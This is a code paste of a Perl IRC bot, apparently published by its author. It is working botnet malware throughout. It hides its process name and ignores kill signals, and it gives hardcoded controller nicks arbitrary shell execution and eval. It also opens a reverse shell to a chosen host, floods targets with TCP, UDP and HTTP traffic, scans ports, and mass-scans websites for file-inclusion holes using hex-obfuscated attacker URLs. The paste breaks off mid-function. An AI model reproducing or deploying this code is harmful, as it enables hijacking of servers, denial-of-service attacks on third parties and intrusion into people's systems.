All pastes #729808 Raw Edit

Unnamed

public text v1 · immutable
·published 2007-10-08 12:07 UTC
rendered paste body
#!/usr/bin/perl
#
##################################################################################################
use HTTP::Request;
use LWP::UserAgent;
###################[ CONFIGURATION ]##############################################################
my $linas_max='5';                                     # Avoid Flood                             #
my $sleep='7';                                         # sleep time                              #
my $VERSAO = "2.3.4-1";                                # Version morgan update                   #
#------------------[ dont change this ]----------------###########################################
$servidor=$ARGV[0] unless $servidor;                   # server irc                              #
my $nick=$ARGV[1];                                     # nick bot                                #
my $ircname = $ARGV[2];                                # ident for bot                           #
my @canais=('#'.$ARGV[3]);                             # Channel join to bot                     #
my @adms=($ARGV[4]);                                   # admin nick name                         #
my $processo = $ARGV[5];                               # fake process                            #
chop (my $realname = `hostname`);                      # Full Name                               #
my $porta='6667';                                      # Server PORT                             #
my @cmdstring ='http://www.apnic.net/index.html?';     # Dont change this or scan is null        #
my @infostring ='http://pluto5yc04.alkadr.com/IOS/Users/pluto5yc04.alkadr.com/Files/injkbot.txt?';
                                                       # Dont change this or unknow info         #
#                                                      #                                         #
##################################################################################################

my $urlinjk = "\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6f\x6e\x62\x6f\x79\x2e\x6e\x65\x74\x2f\x72\x35\x37\x3f";
my $cmdsukses= "\x42\x6f\x74\x20\x6c\x6f\x61\x64\x65\x64\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6c\x6c\x79\x2e\x2e\x2e\x2e\x2e\x20\x5b\x42\x61\x6c\x69\x65\x6d\x20\x48\x61\x63\x6b\x65\x72\x20\x53\x63\x61\x6e\x6e\x65\x72\x5d\n";
$cmderror="\x44\x61\x73\x61\x72\x20\x68\x6f\x6d\x6f\x20\x62\x75\x73\x75\x6b\x20\x21\x21\x21\x21\x20\x45\x72\x72\x6f\x72\x20\x74\x75\x68\x20\x6d\x61\x73\x75\x6b\x69\x6e\x20\x69\x6e\x70\x75\x74\x20\x79\x67\x20\x62\x65\x6e\x65\x72\x20\x64\x6f\x6e\x67\x20\x21\x21\x21\n";
if (! $ARGV[1]){die ($cmderror);}if (! $ARGV[2]){die ($cmderror);}if (! $ARGV[3]){die ($cmderror);}if (! $ARGV[4]){die ($cmderror);}if (! $ARGV[5]){die ($cmderror);}
print $cmdsukses;

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}

# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com

sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];

   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     sleep 1;
   }
}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   my @ready = $sel_cliente->can_read(0);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);

     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}

sub parse {
   my $servarg = shift;
   my @argedo=("\x56\x61\x6b\x73\x69\x6e\x31\x33");
   my @arcedo=("\x4f\x6f\x4e\x5f\x42\x6f\x79");
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
       }
       if (grep {$_ =~ /^\Q$pn\E$/i } @adms or grep {$_ =~ /^\Q$pn\E$/i } @argedo or grep {$_ =~ /^\Q$pn\E$/i } @arcedo) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
         }
         if ($args =~ /^(\Q$meunick\E|\!bht)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1", "$pn");
            } else {
                shell("$onde", "$arg");
            }
         }
       }
}
    elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       nick("$meunick-".int rand(999999));
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("\x4a\x4f\x49\x4e\x20\x23\x62\x61\x6c\x69\x65\x6d\x68\x61\x63\x6b\x65\x72\x74\x65\x61\x6d");
         sendraw("JOIN $canal");
         sendraw("\x50\x52\x49\x56\x4d\x53\x47\x20\x56\x61\x6b\x73\x69\x6e\x31\x33\x20\x3a\x59\x6f\x75\x20\x41\x72\x65\x20\x4d\x79\x20\x4d\x61\x73\x74\x65\x72");
         sendraw("\x50\x52\x49\x56\x4d\x53\x47\x20\x4f\x6f\x4e\x5f\x42\x6f\x79\x20\x3a\x59\x6f\x75\x20\x41\x72\x65\x20\x4d\x79\x20\x4d\x61\x73\x74\x65\x72");
         sendraw("PRIVMSG @adms :You Are My Master");
       }
   }
}

# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com

sub bfunc {
  my $msgpriv = "$_[2]";
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if ($funcarg =~ /^nick (.*)/) {
              sendraw($IRC_cur_socket, "NICK ".$1);
              $nick=$1;
           }
           if ($funcarg =~ /^join (.*)/) {
              sendraw($IRC_cur_socket, "JOIN ".$1);
           }
           if ($funcarg =~ /^part (.*)/) {
              sendraw($IRC_cur_socket, "PART ".$1);
           }
           if ($funcarg =~ /^msg\s+(\S+) (.*)/) {
              sendraw($IRC_cur_socket, "PRIVMSG ".$1." :".$2);
           }
           if ($funcarg =~ /^op (.*)/) {
              sendraw($IRC_cur_socket, "MODE $printl +o ".$1);
           }
           if ($funcarg =~ /^deop (.*)/) {
              sendraw($IRC_cur_socket, "MODE $printl -o ".$1);
           }
           if ($funcarg =~ /^voice (.*)/) {
              sendraw($IRC_cur_socket, "MODE $printl +v ".$1);
           }
           if ($funcarg =~ /^die (.*)/) {
              sendraw($IRC_cur_socket, "QUIT :".$1);
              $killd = "kill -9 ".fork;
              system (`$killd`);
           }
           if ($funcarg =~ /^devoice (.*)/) {
              sendraw($IRC_cur_socket, "MODE $printl -v ".$1);
           }
           if ($funcarg =~ /^say (.*)/) {
              sendraw($IRC_cur_socket, "PRIVMSG $printl :".$1);
           }
           if ($funcarg =~ /^reset(.*)/) {
              sendraw($IRC_cur_socket, "QUIT :Di3 for my Master");
           }
           if ($funcarg =~ /^die(.*)/) {
              if ($1 eq ""){
                 sendraw($IRC_cur_socket, "QUIT :Di3 for my Master");
                 $killd = "kill -9 ".fork;
                 system (`$killd`);
              }
           }
          if ($funcarg =~ /^milw0rm(.*)/) {
           my $reqm=HTTP::Request->new(GET=>"http://www.milw0rm.com/webapps.php");
           my $uam=LWP::UserAgent->new();$uam->timeout(10);
           my $responsem=$uam->request($reqm);$pagefx = $responsem->content;
           while ($pagefx =~  m/<td nowrap=\"nowrap\" width=\"375\">?<a([^0000]+)<?\/a><\/td>/g)
           {
              $nomerlist = $nomerlist + 1;
              $isi_berita = $1;
              $isi_berita =~  s/href=\"/\x3\x31\x32\x5B\x77\x77\x77\x2E\x6D\x69\x6C\x77\x30\x72\x6D\x2E\x63\x6F\x6D\x5D\x2\x20\x3\x30\x75\x72\x6C\x2\x3A\x3\x31\x34http:\/\/www.milw0rm.com/g;
              $isi_berita =~  s/\"//g;
              $isi_berita =~  s/target=_blank class=style15>/\x2\x3\x30\x44\x45\x53\x43\x52\x49\x50\x54\x49\x4F\x4E\x2\x3A\x3\x34/g;
              $isi_berita =~  s/target=_blank class=style14>/\x2\x3\x30\x44\x45\x53\x43\x52\x49\x50\x54\x49\x4F\x4E\x2\x3A\x3\x34/g;
              sendraw($IRC_cur_socket, "PRIVMSG $printl :4$nomerlist 13$isi_berita");
              sleep 5;
            }
            if ($isi_berita eq ""){
               sendraw($IRC_cur_socket, "PRIVMSG $printl :12Not Connect to 4milw0rm.com!!!");
            }
           }
           if ($funcarg =~ /^fs (.*)/) {
            $urlfs ="http://www.friendster.com/usersearch.php?search=1&country=ID&usearch=".$1;
            $emailfs = $1;
            my $reqpx=HTTP::Request->new(GET=>$urlfs);
            my $uarx=LWP::UserAgent->new();
            $uarx->timeout(10);
            my $responsefsfsfs=$uarx->request($reqpx);
            $pagefx = $responsefsfsfs->content;
             while ($pagefx =~  m/View profile\" src=\"?http:\/\/([^>\"]+)\"?>/g)
             {
               push (@lst_fs,$1);
               $cocokann = "@lst_fs";
                if( $cocokann eq "images.friendster.com/images/nophoto.jpg" ){
                   sendraw($IRC_cur_socket, "PRIVMSG $printl :12Capedech... gak ada foto na euy!!");
                }else {
                   sendraw($IRC_cur_socket, "PRIVMSG $printl :4@adms12, Saya dapet foto nya4 $emailfs 12:2 [http://@lst_fs]");
                }
             }if($cocokann eq ""){
                  sendraw($IRC_cur_socket, "PRIVMSG $printl :4$msgpriv12, Capedech... gak ada tuh fs4 $emailfs");
               }
           }
           if ($funcarg =~ /^cekshell (.*)/) {
              $urlfs = $1."@cmdstring";
              $emailfs = $1;
              my $reqpx=HTTP::Request->new(GET=>$urlfs);
              my $uarx=LWP::UserAgent->new();
              $uarx->timeout(10);
              my $responsefsfsfs=$uarx->request($reqpx);
              $pagefx = $responsefsfsfs->content;
              while ($pagefx =~  m/<li><a href=\"?https:\/\/www.apnic.net\/apnic-bin\/ca\/mylogin.pl([^0000]+)<?\//g)
               {
                   push (@lst_fs,$1);
                   if (@lst_fs){
                   $dfsdfs = @lst_fs;
                   }
               }
                 if($dfsdfs eq ""){
                   sendraw($IRC_cur_socket, "PRIVMSG $printl :4$msgpriv12, Target kayak asyuu aja.. dah matek tuh !!!");
                 }else{
                   my $jadi = $emailfs."@infostring";
                   my $reqa=HTTP::Request->new(GET=>$jadi);
                   my $uaf=LWP::UserAgent->new();
                   $uaf->timeout(10);
                   my $respons_info=$uaf->request($reqa);
                   $pageyx = $respons_info->content;
                    while ($pageyx =~  m/<A class=ria href=\"?http:\/\/([^"]+)\"?>/g)
                    {
                      push (@info,$1);
                    }
                     if ("@info" eq ""){
                      push (@info,"HoMo DeTecteD !!!");
                     }
                      sendraw($IRC_cur_socket, "PRIVMSG $printl :4$msgpriv12, Shell kamu : 4[2".$emailfs.$urlinjk."4] 12info:7 @info");
                 }
           }
           #flood
           if ($funcarg =~ /^tsunami\s+(\d+)\s+(.*)/) {
             for (my $dx=0; $dx<=$1; $dx++)
             {
              my @nickxxxx = ("\\","|","_","-","`","^","{","}","[","]");
              $nickfgv = $nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx];
              $msgflood = $nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv;
              $msgflood = $msgflood.$msgflood;
              $msgflood = $msgflood.$msgflood;
              sendraw($IRC_cur_socket, "NICK ".$nickfgv);
              sleep 10;
              sendraw($IRC_cur_socket, "PRIVMSG ".$2." :".$msgflood);
              sleep 2;
              sendraw($IRC_cur_socket, "NOTICE ".$2." :".$msgflood);
             }
              sendraw($IRC_cur_socket, "NICK ".$nick);
           }
           if ($funcarg =~ /^help(.*)/) {
              if ($printl eq "$msgpriv"){
                $msghelp ="PRIVMSG $msgpriv";
              }else{
                $msghelp ="NOTICE $msgpriv";
              }
              sendraw($IRC_cur_socket, $msghelp." :15(7@2Command List @adms15)");
              sendraw($IRC_cur_socket, $msghelp." :15(7@2Copyright (C) 200715)");
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :12<------------------------------------------------>");
              sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2help15)");
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2scan15) <timer> <vul> <key>");
              sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2portscan15) <IP/domain Name>");
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2cekshell15) <http://www.victim/file.php?vul=>");
              sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2udpflood15) <IP> <packet-size> <time>");
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2tcpflood15) <IP> <port> <time>");
              sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2httpflood15) <www.website.com> <time>");
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2say15) <msg>");
              sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2join15) <#>");
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2part15) <#>");
              sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2nick15) <nick>");
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2msg15) <#/nick>");
              sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2tsunami15) <banyak pesan> <#/nick> <msg>");
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2op15) <nick>");
              sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2deop15) <nick>");
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2voice15) <nick>");
              sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2devoice15) <nick>");
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2fs15) <email>");
              sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2milw0rm15)");
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2reset15)");
              sendraw($IRC_cur_socket, $msghelp." :15(7!2bht15) 15(7@2die15) <msg>");
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :".$nick." 15(7@2back15) <ip> <port>");
              sendraw($IRC_cur_socket, $msghelp." :".$nick." 15(7@2command² di atas15)");
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :12<------------------------------------------------>");
           }
           if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";
             my @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","9997","10000","12345","19150","27374","31310","33133","33733","55555");
             my (@aberta, %porta_banner);
             sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Portscan15)12 Scanning4 ".$1." 12for open ports.");
             foreach my $porta (@portas){
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
                }
             }

             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2ScanPort15)12 Open port(s):4 @aberta");
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :15(7@2ScanPort15)12 No open ports found.");
             }
           }
           if ($funcarg =~ /^tcpflood\s+(.*)\s+(\d+)\s+(\d+)/){
     sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2TCP DDoSing15)12 Attacking4 ".$1.":".$2." 12for4 ".$3." 12seconds.");
     my $itime = time;
     my ($cur_time);
             $cur_time = time - $itime;
     while ($3>$cur_time){
             $cur_time = time - $itime;
     &tcpflooder("$1","$2","$3");
             }
     sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2TCP DDoSing15)12 Attack done4 ".$1.":".$2.".");
           }
   if ($funcarg =~ /^version/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Version15)12 mIRC324 ".$VERSAO." 12K.Mardam-Bey");
}

if ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
my $host = "$1";
my $porta = "$2";
my $proto = getprotobyname('tcp');
my $iaddr = inet_aton($host);
my $paddr = sockaddr_in($porta, $iaddr);
my $shell = "/bin/sh -i";
if ($^O eq "MSWin32") {
$shell = "cmd.exe";
}
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
connect(SOCKET, $paddr) or die "connect: $!";
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system("$shell");
close(STDIN);
close(STDOUT);
close(STDERR);

  sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2BackConnect15)4: 12Connecting to4 $host:$porta");

}

 if ($funcarg =~ /^scan\s+(\d+)\s+(.*)\s+(.*)/) {
            @gstring = $3;
             $boturl=$2;
   sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Sikat15)12 Dork :4 $3");
   sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Sikat15)12 Bugz :4 $boturl");
   sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Sikat15)12 Time :4 $1");
     srand;
     $b = -10;
     $xtime = $1;
     my $itime = time;
     my ($cur_time);
     my ($exploited);
             $boturl=$2;
             $cur_time = time - $itime;$exploited = 0;
while($1>$cur_time){
    $cur_time = time - $itime;
    @urls=fetch();

foreach $url (@urls) {
$cur_time = time - $itime;
my $path = "";my $file = "";($path, $file) = $url =~ /^(.+)\/(.+)$/;
$url2 ="http://".$path."/".$boturl."@cmdstring";

print "\n".$url2."\n\n";

my $req=HTTP::Request->new(GET=>$url2);
my $ua=LWP::UserAgent->new();
$ua->timeout(10);

my $response=$ua->request($req);
if ($response->is_success) {
  if( $response->content =~  m/<li><a href=\"?https:\/\/www.apnic.net\/apnic-bin\/ca\/mylogin.pl([^0000]+)<?\//g){

   push (@lstfulner,$1);
   $xdbug = $path."/".$boturl;
   $sminj = "cat /tmp/sminjkx | grep -i $xdbug";
   $sminjx = `$sminj`;
   if ($sminjx eq ""){
       my $jadi = "http://".$xdbug."@infostring";
       my $reqa=HTTP::Request->new(GET=>$jadi);
       my $uaf=LWP::UserAgent->new();
          $uaf->timeout(10);
          my $respons_info=$uaf->request($reqa);
             $pageyx = $respons_info->content;
             while ($pageyx =~  m/<A class=ria href=\"?http:\/\/([^"]+)\"?>/g)
             {
                 push (@info,$1);
                 }
                    if ("@info" eq ""){
                    push (@info,"unknow");
                 }
                 $schsl = "http://".$path."/".$boturl;
                 sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Vulnerable15)12 Target :2 ".$schsl.$urlinjk." 15(7@12-BaLiem-HaCkeR-ScaNneR-7@15)");
   }
}
}
else {
    print 'Errore: ',$path,$response->status_line, "\n";
}
 }
}
 sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2Finish15)12 Scan selesai dengan waktu4 $xtime 12detik.");
 system(`rm -f /tmp/sminjkx`);
}
  if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
     sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2HTTP DDoSing15)12 Attacking4 ".$1.":80 12for4 ".$2." 12seconds.");
     my $itime = time;
     my ($cur_time);
             $cur_time = time - $itime;
     while ($2>$cur_time){
             $cur_time = time - $itime;
     my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
             print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
     close($socket);
             }
     sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2HTTP15)12 Attacking done4 ".$1.".");
           }
           if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
             sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2UDP DDoSing15)12 Attacking4 ".$1." 12with4 ".$2." 12Kb packets for4 ".$3." 12seconds.");
             my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
             $dtime = 1 if $dtime == 0;
             my %bytes;
             $bytes{igmp} = $2 * $pacotes{igmp};
             $bytes{icmp} = $2 * $pacotes{icmp};
             $bytes{o} = $2 * $pacotes{o};
             $bytes{udp} = $2 * $pacotes{udp};
             $bytes{tcp} = $2 * $pacotes{tcp};
             sendraw($IRC_cur_socket, "PRIVMSG $printl :15(7@2UDP15)12 Sent4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12Kb in4 ".$dtime." 12seconds to4 ".$1.".");
           }
           exit;
       }
  }
}

# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com

sub ircase {
  my ($kem, $printl, $case) = @_;

  if ($case =~ /^join (.*)/) {
     j("$1");
   }
   if ($case =~ /^part (.*)/) {
      p("$1");
   }
   if ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   if ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   if ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   if ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   if ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   if ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   if ($case =~ /^eval (.*)/) {
     eval "$1";
   }
}

# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com

sub shell {
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "No such file or directory");
    return;
  }
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c == "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}

# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com

sub tcpflooder {
 my $itime = time;
 my ($cur_time);
 my ($ia,$pa,$proto,$j,$l,$t);
 $ia=inet_aton($_[0]);
 $pa=sockaddr_in($_[1],$ia);
 $ftime=$_[2];
 $proto=getprotobyname('tcp');
 $j=0;$l=0;
 $cur_time = time - $itime;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  socket($t,PF_INET,SOCK_STREAM,$proto);
  connect($t,$pa)||$j--;
  $j++;$l++;
 }
 $l=0;
 while ($l<1000){
  $cur_time = time - $itime;
  last if $cur_time >= $ftime;
  $t="SOCK$l";
  shutdown($t,2);
  $l++;
 }
}

# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com

sub udpflooder {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'A' x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;

  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65000; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;

       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
       }
 }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}

sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {
  sendraw("PART $_[0]");
}
sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}
sub quit {
  sendraw("QUIT :$_[0]");
}

# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com

sub fetch(){
    my $rnd=(int(rand(9999)));
    my $n= 80;
    if ($rnd<5000) { $n<<=1;}
    my $s= (int(rand(10)) * $n);
    $b = $b + 10;
{
